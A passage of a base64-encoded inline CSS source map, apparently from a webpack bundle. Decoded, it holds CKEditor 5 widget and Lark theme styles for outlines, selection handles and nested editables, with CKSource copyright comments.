QtaG92ZXItYm9yZGVyOiNmZmM4M2Q7LS1jay1jb2xvci13aWRnZXQtZWRpdGFibGUtZm9jdXMtYmFja2dyb3VuZDp2YXIoLS1jay1jb2xvci1iYXNlLWJhY2tncm91bmQpOy0tY2stY29sb3Itd2lkZ2V0LWRyYWctaGFuZGxlci1pY29uLWNvbG9yOnZhcigtLWNrLWNvbG9yLWJhc2UtYmFja2dyb3VuZCl9LmNrIC5jay13aWRnZXR7b3V0bGluZS13aWR0aDp2YXIoLS1jay13aWRnZXQtb3V0bGluZS10aGlja25lc3MpO291dGxpbmUtc3R5bGU6c29saWQ7b3V0bGluZS1jb2xvcjp0cmFuc3BhcmVudDt0cmFuc2l0aW9uOm91dGxpbmUtY29sb3IgdmFyKC0tY2std2lkZ2V0LWhhbmRsZXItYW5pbWF0aW9uLWR1cmF0aW9uKSB2YXIoLS1jay13aWRnZXQtaGFuZGxlci1hbmltYXRpb24tY3VydmUpfS5jayAuY2std2lkZ2V0LmNrLXdpZGdldF9zZWxlY3RlZCwuY2sgLmNrLXdpZGdldC5jay13aWRnZXRfc2VsZWN0ZWQ6aG92ZXJ7b3V0bGluZTp2YXIoLS1jay13aWRnZXQtb3V0bGluZS10aGlja25lc3MpIHNvbGlkIHZhcigtLWNrLWNvbG9yLWZvY3VzLWJvcmRlcil9LmNrIC5jay13aWRnZXQ6aG92ZXJ7b3V0bGluZS1jb2xvcjp2YXIoLS1jay1jb2xvci13aWRnZXQtaG92ZXItYm9yZGVyKX0uY2sgLmNrLWVkaXRvcl9fbmVzdGVkLWVkaXRhYmxle2JvcmRlcjoxcHggc29saWQgdHJhbnNwYXJlbnR9LmNrIC5jay1lZGl0b3JfX25lc3RlZC1lZGl0YWJsZS5jay1lZGl0b3JfX25lc3RlZC1lZGl0YWJsZV9mb2N1c2VkLC5jayAuY2stZWRpdG9yX19uZXN0ZWQtZWRpdGFibGU6Zm9jdXN7b3V0bGluZTpub25lO2JvcmRlcjp2YXIoLS1jay1mb2N1cy1yaW5nKTtib3gtc2hhZG93OnZhcigtLWNrLWlubmVyLXNoYWRvdyksMCAwO2JhY2tncm91bmQtY29sb3I6dmFyKC0tY2stY29sb3Itd2lkZ2V0LWVkaXRhYmxlLWZvY3VzLWJhY2tncm91bmQpfS5jayAuY2std2lkZ2V0LmNrLXdpZGdldF93aXRoLXNlbGVjdGlvbi1oYW5kbGUgLmNrLXdpZGdldF9fc2VsZWN0aW9uLWhhbmRsZXtwYWRkaW5nOjRweDtib3gtc2l6aW5nOmJvcmRlci1ib3g7YmFja2dyb3VuZC1jb2xvcjp0cmFuc3BhcmVudDtvcGFjaXR5OjA7dHJhbnNpdGlvbjpiYWNrZ3JvdW5kLWNvbG9yIHZhcigtLWNrLXdpZGdldC1oYW5kbGVyLWFuaW1hdGlvbi1kdXJhdGlvbikgdmFyKC0tY2std2lkZ2V0LWhhbmRsZXItYW5pbWF0aW9uLWN1cnZlKSx2aXNpYmlsaXR5IHZhcigtLWNrLXdpZGdldC1oYW5kbGVyLWFuaW1hdGlvbi1kdXJhdGlvbikgdmFyKC0tY2std2lkZ2V0LWhhbmRsZXItYW5pbWF0aW9uLWN1cnZlKSxvcGFjaXR5IHZhcigtLWNrLXdpZGdldC1oYW5kbGVyLWFuaW1hdGlvbi1kdXJhdGlvbikgdmFyKC0tY2std2lkZ2V0LWhhbmRsZXItYW5pbWF0aW9uLWN1cnZlKTtib3JkZXItcmFkaXVzOnZhcigtLWNrLWJvcmRlci1yYWRpdXMpIHZhcigtLWNrLWJvcmRlci1yYWRpdXMpIDAgMDt0cmFuc2Zvcm06dHJhbnNsYXRlWSgtMTAwJSk7bGVmdDpjYWxjKDBweCAtIHZhcigtLWNrLXdpZGdldC1vdXRsaW5lLXRoaWNrbmVzcykpfS5jayAuY2std2lkZ2V0LmNrLXdpZGdldF93aXRoLXNlbGVjdGlvbi1oYW5kbGUgLmNrLXdpZGdldF9fc2VsZWN0aW9uLWhhbmRsZSAuY2staWNvbnt3aWR0aDp2YXIoLS1jay13aWRnZXQtaGFuZGxlci1pY29uLXNpemUpO2hlaWdodDp2YXIoLS1jay13aWRnZXQtaGFuZGxlci1pY29uLXNpemUpO2NvbG9yOnZhcigtLWNrLWNvbG9yLXdpZGdldC1kcmFnLWhhbmRsZXItaWNvbi1jb2xvcil9LmNrIC5jay13aWRnZXQuY2std2lkZ2V0X3dpdGgtc2VsZWN0aW9uLWhhbmRsZSAuY2std2lkZ2V0X19zZWxlY3Rpb24taGFuZGxlIC5jay1pY29uIC5jay1pY29uX19zZWxlY3RlZC1pbmRpY2F0b3J7b3BhY2l0eTowO3RyYW5zaXRpb246b3BhY2l0eSAuM3MgdmFyKC0tY2std2lkZ2V0LWhhbmRsZXItYW5pbWF0aW9uLWN1cnZlKX0uY2sgLmNrLXdpZGdldC5jay13aWRnZXRfd2l0aC1zZWxlY3Rpb24taGFuZGxlIC5jay13aWRnZXRfX3NlbGVjdGlvbi1oYW5kbGU6aG92ZXIgLmNrLWljb24gLmNrLWljb25fX3NlbGVjdGVkLWluZGljYXRvcntvcGFjaXR5OjF9LmNrIC5jay13aWRnZXQuY2std2lkZ2V0X3dpdGgtc2VsZWN0aW9uLWhhbmRsZTpob3ZlciAuY2std2lkZ2V0X19zZWxlY3Rpb24taGFuZGxle29wYWNpdHk6MTtiYWNrZ3JvdW5kLWNvbG9yOnZhcigtLWNrLWNvbG9yLXdpZGdldC1ob3Zlci1ib3JkZXIpfS5jayAuY2std2lkZ2V0LmNrLXdpZGdldF93aXRoLXNlbGVjdGlvbi1oYW5kbGUuY2std2lkZ2V0X3NlbGVjdGVkIC5jay13aWRnZXRfX3NlbGVjdGlvbi1oYW5kbGUsLmNrIC5jay13aWRnZXQuY2std2lkZ2V0X3dpdGgtc2VsZWN0aW9uLWhhbmRsZS5jay13aWRnZXRfc2VsZWN0ZWQ6aG92ZXIgLmNrLXdpZGdldF9fc2VsZWN0aW9uLWhhbmRsZXtvcGFjaXR5OjE7YmFja2dyb3VuZC1jb2xvcjp2YXIoLS1jay1jb2xvci1mb2N1cy1ib3JkZXIpfS5jayAuY2std2lkZ2V0LmNrLXdpZGdldF93aXRoLXNlbGVjdGlvbi1oYW5kbGUuY2std2lkZ2V0X3NlbGVjdGVkIC5jay13aWRnZXRfX3NlbGVjdGlvbi1oYW5kbGUgLmNrLWljb24gLmNrLWljb25fX3NlbGVjdGVkLWluZGljYXRvciwuY2sgLmNrLXdpZGdldC5jay13aWRnZXRfd2l0aC1zZWxlY3Rpb24taGFuZGxlLmNrLXdpZGdldF9zZWxlY3RlZDpob3ZlciAuY2std2lkZ2V0X19zZWxlY3Rpb24taGFuZGxlIC5jay1pY29uIC5jay1pY29uX19zZWxlY3RlZC1pbmRpY2F0b3J7b3BhY2l0eToxfS5ja1tkaXI9cnRsXSAuY2std2lkZ2V0LmNrLXdpZGdldF93aXRoLXNlbGVjdGlvbi1oYW5kbGUgLmNrLXdpZGdldF9fc2VsZWN0aW9uLWhhbmRsZXtsZWZ0OmF1dG87cmlnaHQ6Y2FsYygwcHggLSB2YXIoLS1jay13aWRnZXQtb3V0bGluZS10aGlja25lc3MpKX0uY2suY2stZWRpdG9yX19lZGl0YWJsZS5jay1yZWFkLW9ubHkgLmNrLXdpZGdldHt0cmFuc2l0aW9uOm5vbmV9LmNrLmNrLWVkaXRvcl9fZWRpdGFibGUuY2stcmVhZC1vbmx5IC5jay13aWRnZXQ6bm90KC5jay13aWRnZXRfc2VsZWN0ZWQpey0tY2std2lkZ2V0LW91dGxpbmUtdGhpY2tuZXNzOjBweH0uY2suY2stZWRpdG9yX19lZGl0YWJsZS5jay1yZWFkLW9ubHkgLmNrLXdpZGdldC5jay13aWRnZXRfd2l0aC1zZWxlY3Rpb24taGFuZGxlIC5jay13aWRnZXRfX3NlbGVjdGlvbi1oYW5kbGUsLmNrLmNrLWVkaXRvcl9fZWRpdGFibGUuY2stcmVhZC1vbmx5IC5jay13aWRnZXQuY2std2lkZ2V0X3dpdGgtc2VsZWN0aW9uLWhhbmRsZSAuY2std2lkZ2V0X19zZWxlY3Rpb24taGFuZGxlOmhvdmVye2JhY2tncm91bmQ6dmFyKC0tY2stY29sb3Itd2lkZ2V0LWJsdXJyZWQtYm9yZGVyKX0uY2suY2stZWRpdG9yX19lZGl0YWJsZS5jay1ibHVycmVkIC5jay13aWRnZXQuY2std2lkZ2V0X3NlbGVjdGVkLC5jay5jay1lZGl0b3JfX2VkaXRhYmxlLmNrLWJsdXJyZWQgLmNrLXdpZGdldC5jay13aWRnZXRfc2VsZWN0ZWQ6aG92ZXJ7b3V0bGluZS1jb2xvcjp2YXIoLS1jay1jb2xvci13aWRnZXQtYmx1cnJlZC1ib3JkZXIpfS5jay5jay1lZGl0b3JfX2VkaXRhYmxlLmNrLWJsdXJyZWQgLmNrLXdpZGdldC5jay13aWRnZXRfc2VsZWN0ZWQuY2std2lkZ2V0X3dpdGgtc2VsZWN0aW9uLWhhbmRsZSAuY2std2lkZ2V0X19zZWxlY3Rpb24taGFuZGxlLC5jay5jay1lZGl0b3JfX2VkaXRhYmxlLmNrLWJsdXJyZWQgLmNrLXdpZGdldC5jay13aWRnZXRfc2VsZWN0ZWQuY2std2lkZ2V0X3dpdGgtc2VsZWN0aW9uLWhhbmRsZSAuY2std2lkZ2V0X19zZWxlY3Rpb24taGFuZGxlOmhvdmVyLC5jay5jay1lZGl0b3JfX2VkaXRhYmxlLmNrLWJsdXJyZWQgLmNrLXdpZGdldC5jay13aWRnZXRfc2VsZWN0ZWQ6aG92ZXIuY2std2lkZ2V0X3dpdGgtc2VsZWN0aW9uLWhhbmRsZSAuY2std2lkZ2V0X19zZWxlY3Rpb24taGFuZGxlLC5jay5jay1lZGl0b3JfX2VkaXRhYmxlLmNrLWJsdXJyZWQgLmNrLXdpZGdldC5jay13aWRnZXRfc2VsZWN0ZWQ6aG92ZXIuY2std2lkZ2V0X3dpdGgtc2VsZWN0aW9uLWhhbmRsZSAuY2std2lkZ2V0X19zZWxlY3Rpb24taGFuZGxlOmhvdmVye2JhY2tncm91bmQ6dmFyKC0tY2stY29sb3Itd2lkZ2V0LWJsdXJyZWQtYm9yZGVyKX0uY2suY2stZWRpdG9yX19lZGl0YWJsZT4uY2std2lkZ2V0LmNrLXdpZGdldF93aXRoLXNlbGVjdGlvbi1oYW5kbGU6Zmlyc3QtY2hpbGQsLmNrLmNrLWVkaXRvcl9fZWRpdGFibGUgYmxvY2txdW90ZT4uY2std2lkZ2V0LmNrLXdpZGdldF93aXRoLXNlbGVjdGlvbi1oYW5kbGU6Zmlyc3QtY2hpbGR7bWFyZ2luLXRvcDpjYWxjKDFlbSArIHZhcigtLWNrLXdpZGdldC1oYW5kbGVyLWljb24tc2l6ZSkpfSIsIiIse3ZlcnNpb246Myxzb3VyY2VzOlsid2VicGFjazovLy4vbm9kZV9tb2R1bGVzL0Bja2VkaXRvci9ja2VkaXRvcjUtd2lkZ2V0L3RoZW1lL3dpZGdldC5jc3MiLCJ3ZWJwYWNrOi8vLi9ub2RlX21vZHVsZXMvQGNrZWRpdG9yL2NrZWRpdG9yNS10aGVtZS1sYXJrL3RoZW1lL2NrZWRpdG9yNS13aWRnZXQvd2lkZ2V0LmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvbWl4aW5zL19mb2N1cy5jc3MiLCJ3ZWJwYWNrOi8vLi9ub2RlX21vZHVsZXMvQGNrZWRpdG9yL2NrZWRpdG9yNS10aGVtZS1sYXJrL3RoZW1lL21peGlucy9fc2hhZG93LmNzcyJdLG5hbWVzOltdLG1hcHBpbmdzOiJBQUtBLE1BQ0MsK0NBQWdELENBQ2hELHNCQUF1QixDQUN2Qiw2QkFBOEIsQ0FDOUIsOEJBQStCLENBRy9CLHlEQUFpRSxDQUVqRSxnQ0FBaUMsQ0FDakMsNkNBQXNELENBQ3RELHVDQUNELENBT0EsOERBRUMsaUJBdUJELENBckJDLDRFQUNDLGlCQU9ELENBTEMscUZBR0MsYUFDRCxDQVdELGlMQUNDLGtCQUNELENBR0Qsa0JBQ0MscURBQXNELENBQ3RELDBDQUEyQyxDQUMzQyxxREFBc0QsQ0FDdEQsNkNBQThDLENBQzlDLGtDQUFtQyxDQUNuQyxhQUFjLENBQ2QsK0JBNEJELENBMUJDLGdMQUlDLGlCQUNELENBRUEsMENBQ0Msb0NBQXVDLENBQ3ZDLHFDQUNELENBRUEsMkNBQ0Msb0NBQXVDLENBQ3ZDLHNDQUNELENBRUEsOENBQ0MsdUNBQTBDLENBQzFDLHNDQUNELENBRUEsNkNBQ0MsdUNBQTBDLENBQzFDLHFDQUNELENDN0VELE1BQ0MsaUNBQWtDLENBQ2xDLGtDQUFtQyxDQUNuQyw0Q0FBNkMsQ0FDN0Msd0NBQXlDLENBRXpDLHdDQUFpRCxDQUNqRCxzQ0FBa0QsQ0FDbEQsMkVBQTRFLENBQzVFLHlFQUNELENBRUEsZUFDQyxnREFBaUQsQ0FDakQsbUJBQW9CLENBQ3BCLHlCQUEwQixDQUMxQiw2R0FVRCxDQVJDLDBFQUVDLDZFQUNELENBRUEscUJBQ0MsaURBQ0QsQ0FHRCxnQ0FDQyw0QkFXRCxDQVBDLHlHQy9CQSxZQUFhLENBQ2IsMkJBQTJCLENDRjNCLHFDQUE4QixDRnFDN0IsaUVBQ0QsQ0FJQSw0RUFDQyxXQUFZLENBQ1oscUJBQXNCLENBR3RCLDRCQUE2QixDQUM3QixTQUFVLENBTVYsNlNBRzZGLENBRzdGLGlFQUFrRSxDQUdsRSwyQkFBNEIsQ0FDNUIsbURBcUJELENBbkJDLHFGQUVDLHdDQUF5QyxDQUN6Qyx5Q0FBMEMsQ0FDMUMsb0RBU0QsQ0FOQyxrSEFDQyxTQUFVLENBR1YsK0RBQ0QsQ0FJRCx3SEFDQyxTQUNELENBSUQsa0ZBQ0MsU0FBVSxDQUNWLG9EQUNELENBS0Msb01BQ0MsU0FBVSxDQUNWLDZDQU1ELENBSEMsZ1JBQ0MsU0FDRCxDQU9ILHFGQUNDLFNBQVUsQ0FDVixvREFDRCxDQUdBLGdEQUVDLGVBa0JELENBaEJDLHlFQU9DLGlDQUNELENBR0MsZ09BRUMsZ0RBQ0QsQ0FPRCx3SUFFQyxtREFRRCxDQUxFLGdoQkFFQyxnREFDRCxDQUtILHlLQU9DLHlEQUNEIixzb3VyY2VzQ29udGVudDpbIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuOnJvb3Qge1xuXHQtLWNrLWNvbG9yLXJlc2l6ZXI6IHZhcigtLWNrLWNvbG9yLWZvY3VzLWJvcmRlcik7XG5cdC0tY2stcmVzaXplci1zaXplOiAxMHB4O1xuXHQtLWNrLXJlc2l6ZXItYm9yZGVyLXdpZHRoOiAxcHg7XG5cdC0tY2stcmVzaXplci1ib3JkZXItcmFkaXVzOiAycHg7XG5cblx0LyogU2V0IHRoZSByZXNpemVyIHdpdGggYSA1MCUgb2Zmc2V0LiAqL1xuXHQtLWNrLXJlc2l6ZXItb2Zmc2V0OiBjYWxjKCAoIHZhcigtLWNrLXJlc2l6ZXItc2l6ZSkgLyAtMiApIC0gMnB4KTtcblxuXHQtLWNrLXJlc2l6ZXItdG9vbHRpcC1vZmZzZXQ6IDEwcHg7XG5cdC0tY2stY29sb3ItcmVzaXplci10b29sdGlwLWJhY2tncm91bmQ6IGhzbCgwLCAwJSwgMTUlKTtcblx0LS1jay1jb2xvci1yZXNpemVyLXRvb2x0aXAtdGV4dDogaHNsKDAsIDAlLCA5NSUpO1xufVxuXG4uY2sgLmNrLXdpZGdldCB7XG5cdC8qIFRoaXMgaXMgbmVjY2Vzc2FyeSBmb3IgdHlwZSBhcm91bmQgVUkgdG8gYmUgcG9zaXRpb25lZCBwcm9wZXJseS4gKi9cblx0cG9zaXRpb246IHJlbGF0aXZlO1xufVxuXG4uY2sgLmNrLXdpZGdldC5jay13aWRnZXRfd2l0aC1zZWxlY3Rpb24taGFuZGxlIHtcblx0LyogTWFrZSB0aGUgd2lkZ2V0IHdyYXBwZXIgYSByZWxhdGl2ZSBwb3NpdGlvbmluZyBjb250YWluZXIgZm9yIHRoZSBkcmFnIGhhbmRsZS4gKi9cblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXG5cdCYgLmNrLXdpZGdldF9fc2VsZWN0aW9uLWhhbmRsZSB7XG5cdFx0cG9zaXRpb246IGFic29sdXRlO1xuXG5cdFx0JiAuY2staWNvbiB7XG5cdFx0XHQvKiBNYWtlIHN1cmUgdGhlIGljb24gaW4gbm90IGEgc3ViamVjdCB0byBmb250LXNpemUgb3IgbGluZS1oZWlnaHQgdG8gYXZvaWRcblx0XHRcdHVubmVjZXNzYXJ5IHNwYWNpbmcgYXJvdW5kIGl0LiAqL1xuXHRcdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0fVxuXHR9XG5cblx0LyogU2hvdyB0aGUgc2VsZWN0aW9uIGhhbmRsZSBvbiBtb3VzZSBob3ZlciBvdmVyIHRoZSB3aWRnZXQuICovXG5cdCY6aG92ZXIge1xuXHRcdCYgLmNrLXdpZGdldF9fc2VsZWN0aW9uLWhhbmRsZSB7XG5cdFx0XHR2aXNpYmlsaXR5OiB2aXNpYmxlO1xuXHRcdH1cblx0fVxuXG5cdC8qIFNob3cgdGhlIHNlbGVjdGlvbiBoYW5kbGUgd2hlbiB0aGUgd2lkZ2V0IGlzIHNlbGVjdGVkLiAqL1xuXHQmLmNrLXdpZGdldF9zZWxlY3RlZCAuY2std2lkZ2V0X19zZWxlY3Rpb24taGFuZGxlIHtcblx0XHR2aXNpYmlsaXR5OiB2aXNpYmxlO1xuXHR9XG59XG5cbi5jayAuY2stc2l6ZS12aWV3IHtcblx0YmFja2dyb3VuZDogdmFyKC0tY2stY29sb3ItcmVzaXplci10b29sdGlwLWJhY2tncm91bmQpO1xuXHRjb2xvcjogdmFyKC0tY2stY29sb3ItcmVzaXplci10b29sdGlwLXRleHQpO1xuXHRib3JkZXI6IDFweCBzb2xpZCB2YXIoLS1jay1jb2xvci1yZXNpemVyLXRvb2x0aXAtdGV4dCk7XG5cdGJvcmRlci1yYWRpdXM6IHZhcigtLWNrLXJlc2l6ZXItYm9yZGVyLXJhZGl1cyk7XG5cdGZvbnQtc2l6ZTogdmFyKC0tY2stZm9udC1zaXplLXRpbnkpO1xuXHRkaXNwbGF5OiBibG9jaztcblx0cGFkZGluZzogdmFyKC0tY2stc3BhY2luZy1zbWFsbCk7XG5cblx0Ji5jay1vcmllbnRhdGlvbi10b3AtbGVmdCxcblx0Ji5jay1vcmllbnRhdGlvbi10b3AtcmlnaHQsXG5cdCYuY2stb3JpZW50YXRpb24tYm90dG9tLXJpZ2h0LFxuXHQmLmNrLW9yaWVudGF0aW9uLWJvdHRvbS1sZWZ0IHtcblx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdH1cblxuXHQmLmNrLW9yaWVudGF0aW9uLXRvcC1sZWZ0IHtcblx0XHR0b3A6IHZhciggLS1jay1yZXNpemVyLXRvb2x0aXAtb2Zmc2V0ICk7XG5cdFx0bGVmdDogdmFyKCAtLWNrLXJlc2l6ZXItdG9vbHRpcC1vZmZzZXQgKTtcblx0fVxuXG5cdCYuY2stb3JpZW50YXRpb24tdG9wLXJpZ2h0IHtcblx0XHR0b3A6IHZhciggLS1jay1yZXNpemVyLXRvb2x0aXAtb2Zmc2V0ICk7XG5cdFx0cmlnaHQ6IHZhciggLS1jay1yZXNpemVyLXRvb2x0aXAtb2Zmc2V0ICk7XG5cdH1cblxuXHQmLmNrLW9yaWVudGF0aW9uLWJvdHRvbS1yaWdodCB7XG5cdFx0Ym90dG9tOiB2YXIoIC0tY2stcmVzaXplci10b29sdGlwLW9mZnNldCApO1xuXHRcdHJpZ2h0OiB2YXIoIC0tY2stcmVzaXplci10b29sdGlwLW9mZnNldCApO1xuXHR9XG5cblx0Ji5jay1vcmllbnRhdGlvbi1ib3R0b20tbGVmdCB7XG5cdFx0Ym90dG9tOiB2YXIoIC0tY2stcmVzaXplci10b29sdGlwLW9mZnNldCApO1xuXHRcdGxlZnQ6IHZhciggLS1jay1yZXNpemVyLXRvb2x0aXAtb2Zmc2V0ICk7XG5cdH1cbn1cbiIsJy8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuQGltcG9ydCAiLi4vbWl4aW5zL19mb2N1cy5jc3MiO1xuQGltcG9ydCAiLi4vbWl4aW5zL19zaGFkb3cuY3NzIjtcblxuOnJvb3Qge1xuXHQtLWNrLXdpZGdldC1vdXRsaW5lLXRoaWNrbmVzczogM3B4O1xuXHQtLWNrLXdpZGdldC1oYW5kbGVyLWljb24tc2l6ZTogMTZweDtcblx0LS1jay13aWRnZXQtaGFuZGxlci1hbmltYXRpb24tZHVyYXRpb246IDIwMG1zO1xuXHQtLWNrLXdpZGdldC1oYW5kbGVyLWFuaW1hdGlvbi1jdXJ2ZTogZWFzZTtcblxuXHQtLWNrLWNvbG9yLXdpZGdldC1ibHVycmVkLWJvcmRlcjogaHNsKDAsIDAlLCA4NyUpO1xuXHQtLWNrLWNvbG9yLXdpZGdldC1ob3Zlci1ib3JkZXI6IGhzbCg0MywgMTAwJSwgNjIlKTtcblx0LS1jay1jb2xvci13aWRnZXQtZWRpdGFibGUtZm9jdXMtYmFja2dyb3VuZDogdmFyKC0tY2stY29sb3ItYmFzZS1iYWNrZ3JvdW5kKTtcblx0LS1jay1jb2xvci13aWRnZXQtZHJhZy1oYW5kbGVyLWljb24tY29sb3I6IHZhcigtLWNrLWNvbG9yLWJhc2UtYmFja2dyb3VuZCk7XG59XG5cbi5jayAuY2std2lkZ2V0IHtcblx0b3V0bGluZS13aWR0aDogdmFyKC0tY2std2lkZ2V0LW91dGxpbmUtdGhpY2tuZXNzKTtcblx0b3V0bGluZS1zdHlsZTogc29saWQ7XG5cdG91dGxpbmUtY29sb3I6IHRyYW5zcGFyZW50O1xuXHR0cmFuc2l0aW9uOiBvdXRsaW5lLWNvbG9yIHZhcigtLWNrLXdpZGdldC1oYW5kbGVyLWFuaW1hdGlvbi1kdXJhdGlvbikgdmFyKC0tY2std2lkZ2V0LWhhbmRsZXItYW5pbWF0aW9uLWN1cnZlKTtcblxuXHQmLmNrLXdpZGdldF9zZWxlY3RlZCxcblx0Ji5jay13aWRnZXRfc2VsZWN0ZWQ6aG92ZXIge1xuXHRcdG91dGxpbmU6IHZhcigtLWNrLXdpZGdldC1vdXRsaW5lLXRoaWNrbmVzcykgc29saWQgdmFyKC0tY2stY29sb3ItZm9jdXMtYm9yZGVyKTtcblx0fVxuXG5cdCY6aG92ZXIge1xuXHRcdG91dGxpbmUtY29sb3I6IHZhcigtLWNrLWNvbG9yLXdpZGdldC1ob3Zlci1ib3JkZXIpO1xuXHR9XG59XG5cbi5jayAuY2stZWRpdG9yX19uZXN0ZWQtZWRpdGFibGUge1xuXHRib3JkZXI6IDFweCBzb2xpZCB0cmFuc3BhcmVudDtcblxuXHQvKiBUaGUgOmZvY3VzIHN0eWxlIGlzIGFwcGxpZWQgYmVmb3JlIC5jay1lZGl0b3JfX25lc3RlZC1lZGl0YWJsZV9mb2N1c2VkIGNsYXNzIGlzIHJlbmRlcmVkIGluIHRoZSB2aWV3LlxuXHRUaGVzZSBzdHlsZXMgc2hvdyBhIGRpZmZlcmVudCBib3JkZXIgZm9yIGEgYmxpbmsgb2YgYW4gZXllLCBzbyBgOmZvY3VzYCBuZWVkIHRvIGhhdmUgc2FtZSBzdHlsZXMgYXBwbGllZC4gKi9cblx0Ji5jay1lZGl0b3JfX25lc3RlZC1lZGl0YWJsZV9mb2N1c2VkLFxuXHQmOmZvY3VzIHtcblx0XHRAbWl4aW4gY2stZm9jdXMtcmluZztcblx0XHRAbWl4aW4gY2stYm94LXNoYWRvdyB2YXIoLS1jay1pbm5lci1zaGFkb3cpO1xuXG5cdFx0YmFja2dyb3VuZC1jb2xvcjogdmFyKC0tY2stY29sb3Itd2lkZ2V0LWVkaXRhYmxlLWZvY3VzLWJhY2tncm91bmQpO1xuXHR9XG59XG5cbi5jayAuY2std2lkZ2V0LmNrLXdpZGdldF93aXRoLXNlbGVjdGlvbi1oYW5kbGUge1xuXHQmIC5jay13aWRnZXRfX3NlbGVjdGlvbi1oYW5kbGUge1xuXHRcdHBhZGRpbmc6IDRweDtcblx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXG5cdFx0LyogQmFja2dyb3VuZCBhbmQgb3BhY2l0eSB3aWxsIGJlIGFuaW1hdGVkIGFzIHRoZSBoYW5kbGVyIHNob3dzIHVwIG9yIHRoZSB3aWRnZXQgZ2V0cyBzZWxlY3RlZC4gKi9cblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcblx0XHRvcGFjaXR5OiAwO1xuXG5cdFx0LyogVHJhbnNpdGlvbjpcblx0XHQgICAqIGJhY2tncm91bmQtY29sb3IgZm9yIHRoZSAuY2std2lkZ2V0X3NlbGVjdGVkIHN0YXRlIGNoYW5nZSxcblx0XHQgICAqIHZpc2liaWxpdHkgZm9yIGhpZGluZyB0aGUgaGFuZGxlcixcblx0XHQgICAqIG9wYWNpdHkgZm9yIHRoZSBwcm9wZXIgbG9vayBvZiB0aGUgaWNvbiB3aGVuIHRoZSBoYW5kbGVyIGRpc2FwcGVhcnMuICovXG5cdFx0dHJhbnNpdGlvbjpcblx0XHRcdGJhY2tncm91bmQtY29sb3IgdmFyKC0tY2std2lkZ2V0LWhhbmRsZXItYW5pbWF0aW9uLWR1cmF0aW9uKSB2YXIoLS1jay13aWRnZXQtaGFuZGxlci1hbmltYXRpb24tY3VydmUpLFxuXHRcdFx0dmlzaWJpbGl0eSB2YXIoLS1jay13aWRnZXQtaGFuZGxlci1hbmltYXRpb24tZHVyYXRpb24pIHZhcigtLWNrLXdpZGdldC1oYW5kbGVyLWFuaW1hdGlvbi1jdXJ2ZSksXG5cdFx0XHRvcGFjaXR5IHZhcigtLWNrLXdpZGdldC1oYW5kbGVyLWFuaW1hdGlvbi1kdXJhdGlvbikgdmFyKC0tY2std2lkZ2V0LWhhbmRsZXItYW5pbWF0aW9uLWN1cnZlKTtcblxuXHRcdC8qIE1ha2Ugb25seSB0b3AgY29ybmVycyByb3VuZC4gKi9cblx0XHRib3JkZXItcmFkaXVzOiB2YXIoLS1jay1ib3JkZXItcmFkaXVzKSB2YXIoLS1jay1ib3JkZXItcmFkaXVzKSAwIDA7XG5cblx0XHQvKiBQbGFjZSB0aGUgZHJhZyBoYW5kbGVyIG91dHNpZGUgdGhlIHdpZGdldCB3cmFwcGVyLiAqL1xuXHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtMTAwJSk7XG5cdFx0bGVmdDogY2FsYygwcHggLSB2YXIoLS1jay13aWRnZXQtb3V0bGluZS10aGlja25lc3MpKTtcblxuXHRcdCYgLmNrLWljb24ge1xuXHRcdFx0LyogTWFrZSBzdXJlIHRoZSBkaW1lbnNpb25zIG9mIHRoZSBpY29uIGFyZSBpbmRlcGVuZGVudCBvZiB0aGUgZm9uLXNpemUgb2YgdGhlIGNvbnRlbnQuICovXG5cdFx0XHR3aWR0aDogdmFyKC0tY2std2lkZ2V0LWhhbmRsZXItaWNvbi1zaXplKTtcblx0XHRcdGhlaWdodDogdmFyKC0tY2std2lkZ2V0LWhhbmRsZXItaWNvbi1zaXplKTtcblx0XHRcdGNvbG9yOiB2YXIoLS1jay1jb2xvci13aWRnZXQtZHJhZy1oYW5kbGVyLWljb24tY29sb3IpO1xuXG5cdFx0XHQvKiBUaGUgInNlbGVjdGVkIiBwYXJ0IG9mIHRoZSBpY29uIGlzIGludmlzaWJsZSBieSBkZWZhdWx0ICovXG5cdFx0XHQmIC5jay1pY29uX19zZWxlY3RlZC1pbmRpY2F0b3Ige1xuXHRcdFx0XHRvcGFjaXR5OiAwO1xuXG5cdFx0XHRcdC8qIE5vdGU6IFRoZSBhbmltYXRpb24gaXMgbG9uZ2VyIG9uIHB1cnBvc2UuIFNpbXBseSBmZWVscyBiZXR0ZXIuICovXG5cdFx0XHRcdHRyYW5zaXRpb246IG9wYWNpdHkgMzAwbXMgdmFyKC0tY2std2lkZ2V0LWhhbmRsZXItYW5pbWF0aW9uLWN1cnZlKTtcblx0XHRcdH1cblx0XHR9XG5cblx0XHQvKiBBZHZlcnRpc2UgdXNpbmcgdGhlIGxvb2sgb2YgdGhlIGljb24gdGhhdCBvbmNlIGNsaWNrZWQgdGhlIGhhbmRsZXIsIHRoZSB3aWRnZXQgd2lsbCBiZSBzZWxlY3RlZC4gKi9cblx0XHQmOmhvdmVyIC5jay1pY29uIC5jay1pY29uX19zZWxlY3RlZC1pbmRpY2F0b3Ige1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHR9XG5cdH1cblxuXHQ